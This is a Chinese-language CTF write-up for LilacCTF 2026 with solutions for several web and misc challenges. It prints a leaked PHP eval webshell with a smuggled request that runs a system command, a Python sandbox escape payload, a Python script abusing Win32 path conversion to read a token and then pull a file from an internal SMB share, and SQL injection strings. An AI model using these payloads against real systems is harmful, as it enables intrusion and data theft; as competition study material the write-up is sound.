前言
参考:
https://blog.xmcve.com/2026/01/27/LilacCTF-2026-Writeup/
https://lilachit.notion.site/LilacCTF-2026-Official-WriteUp-2f44c775ef0e80ba8398f120cd4c59d1
keep
404报错页面一眼 php -S 起的服务器
php 7.3.4,直接打源码泄露
GET /index.php HTTP/1.1
Host: 61.147.171.103:60623
GET /1.txt HTTP/1.1
返回
<?php
@error_reporting(~E_ALL);
echo "Hello World!" . PHP_EOL;
// s3Cr37_f1L3.php.bak
访问 s3Cr37_f1L3.php.bak 返回
<?php
@eval($_POST["admin"]);
但是尝试访问 s3Cr37_f1L3.php 发现不存在这个文件,猜测是要把 bak 解析为 php
根据自己的早期文章记载,第二个GET后的 / 请求的如果是 .php 或 .PHP 后缀则会视为 php 文件解析
至于如何传 POST 参数,测试发现只要带上 CL 头算清楚请求体长度即可
POST /s3Cr37_f1L3.php.bak HTTP/1.1
Host: 61.147.171.103:60623
POST /1.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
admin=system('cat+/f*');
得到 flag
Your GitHub, mine
先访问 classroom 链接加入 classroom 仓库
然后 nc bot,选择 create issue
接下来进入那个 issue,编辑 issue 正文,修改为 @lilacctf-tech
改变 owner 到自己,修改为 public,transfer issue 到自己的公开仓库
然后 check issue

CheckIn(复现)
没绷住能扫出 back.zip,那我黑盒全测完了算什么(
backup.zip
#Python 3.14.2
import re
from collections import UserList
from sys import argv
class LockedList(UserList):
def __setitem__(self, key, value):
raise Exception("Assignment blocked!")
def sandbox():
if len(argv) != 2:
print("ERROR: Missing code")
return
try:
status = LockedList([False])
status_id = id(status)
user_input = argv[1].encode('idna').decode('ascii').rstrip('-')
if re.search(r'[0-9A-Z]', user_input):
print("FORBIDDEN: No numbers or alphas")
return
if re.search(r'[_\s=+\[\],"\'\<\>\-\*@#$%^&\\\|\{\}\:;]', user_input):
print("FORBIDDEN: Incorrect symbol detected")
return
if re.search(r'(status|flag|update|setattr|getattr|eval|exec|import|locals|os|sys|builtins|open|or|and|not|is|breakpoint|exit|print|quit|help|input|globals)', user_input.casefold()):
print("FORBIDDEN: Keywords detected")
return
if len(user_input) > 60:
print("FORBIDDEN: Input too long! Keep it concise and it is very simple.")
return
eval(user_input)
if status[0] and id(status) == status_id:
with open('/flag', 'r') as f:
flag = f.read().strip()
print(f"SUCCESS! Flag: {flag}")
else:
print(f"FAILURE: status is still {status}")
except Exception as e:
print(f"Don't be evil~ And I won't show you this error :)")
if __name__ == '__main__':
sandbox()
No numbers or alphas:数字和大写字母
Incorrect symbol detected:_,+,;,’,”,空格,换行,<>,&,^,-~,-(
Keywords detected:help,eval,exec,open,system,globals,builtins,os,locals,breakpoint,getattr,import,is,flag,not,status
限长 60
fuzz 的可用结果:compile,license,vars,credits,dir,dict,int,float,str,min,get,extend,reverse,join,items,len,in
可以构造出这样一个 payload:
vars().get(min(vars())).extend(dir())
返回
FAILURE: status is still [False, 'status', 'status_id', 'user_input']
vars().get(min(vars())).extend(vars(license).items())
FAILURE: status is still [False, ('_Printer__name', 'license'), ('_Printer__data', 'See https://www.python.org/psf/license/'), ('_Printer__lines', None), ('_Printer__filenames', ['/usr/local/lib/python3.14/../LICENSE.txt', '/usr/local/lib/python3.14/../LICENSE', '/usr/local/lib/python3.14/LICENSE.txt', '/usr/local/lib/python3.14/LICENSE', './LICENSE.txt', './LICENSE'])]
可知版本是 python 3.14
获取 status is still 列表的方法:
vars().get(min(vars()))
把回显的结果拼在 list 后面,测试得知
dir()
['status', 'status_id', 'user_input']
vars()
{'status', 'status_id', 'user_input'}
min(vars())
'status'
vars().items()
dict_items([('status', [False]), ('status_id',
140205775626528), ('user_input',
'vars().get(min(dir())).append(vars().items())')])
len(dir())
3
把 min(vars()) 换成 min(dir()) 可以节省一个字符
猜测目标是让 status 为 True,那么需要真值
这里就会涉及到一个问题,现在我们没有获取数值 1 的方法,到这里如果没拿到源码的话很难猜到这里的逻辑是 if status[0] and id(status) == status_id
只需要任意非 0 数值即可成功…
>>> 0 and 1
0
>>> -1 and 1
1
获取 -1 的方法有不少:~(int())
不过我们需要把原先的 False 去掉,也就是要 pop()
最终 payload:
vars().get(min(dir())).append(~vars().get(min(dir())).pop())

Nailong(Unsolved)
Streamlit 框架,使用 Huggingface 的模型扫描器(Picklescan)
from torchvision import transforms, models
model = models.resnet50(weights=None)
num_features = model.fc.in_features
model.fc = nn.Linear(num_features, 2)
model.load_state_dict(torch.load(model_path, `map_location=torch.device('cpu'), weights_only=False))
测试发现 Picklescan 会返回 Innocuous、 suspicious、dangerous
Path
题目开头 Win32 → NT Path Conversion Challenge
可搜到: https://projectzero.google/2016/02/the-definitive-guide-on-win32-to-nt.html
/api/info:
{
"data": {
"challenge": "Path Maze",
"hints": [
"Stage 1: Find and read the access token from the system",
"Stage 2: Use the token to access the backup server",
"Token location: C:\\token\\access_key.txt",
"Backup server: 172.20.0.10",
"Backup server SMB Share name: backup",
"Flag file: flag.txt"
],
"stages": 2,
"version": "1.0.0"
},
"success": true
}
然后由于 token 每次获取只能用一次,写个脚本利用
import requests
import json
url = "http://1.95.51.2:8080"
res1 = requests.get(url +
'/api/diag/read?path=\\\\?\C:\\token\\access_key.txt')
token = json.loads(res1.text)['token']
payload = "\\\\?\\GLOBALROOT\\??\\UNC\\172.20.0.10\\backup\\flag.txt"
res2 = requests.get(url + f'/api/export/read?path={payload}' +
f'&token={token}')
print(res2.text)
safe-sql(Unsolved)
引号均被 ban,直接转义实现闭合,测试发现注释符为 --
select * from users where username = '1\' and password = 'or 1=1-- '
此时返回 {"reason":"No such user or wrong credentials.","status":"failure"}
然后如果没注释掉的话会返回 {"reason":"Something Error.","status":"error"}
那么可以尝试打布尔注入,测试发现只有 CASE WHEN 可用(不行),可以确定是老版本的 postgresql
{"username":"1\\","password":"or (CASE WHEN (1>0) THEN 1 ELSE 0 END)=1-- "}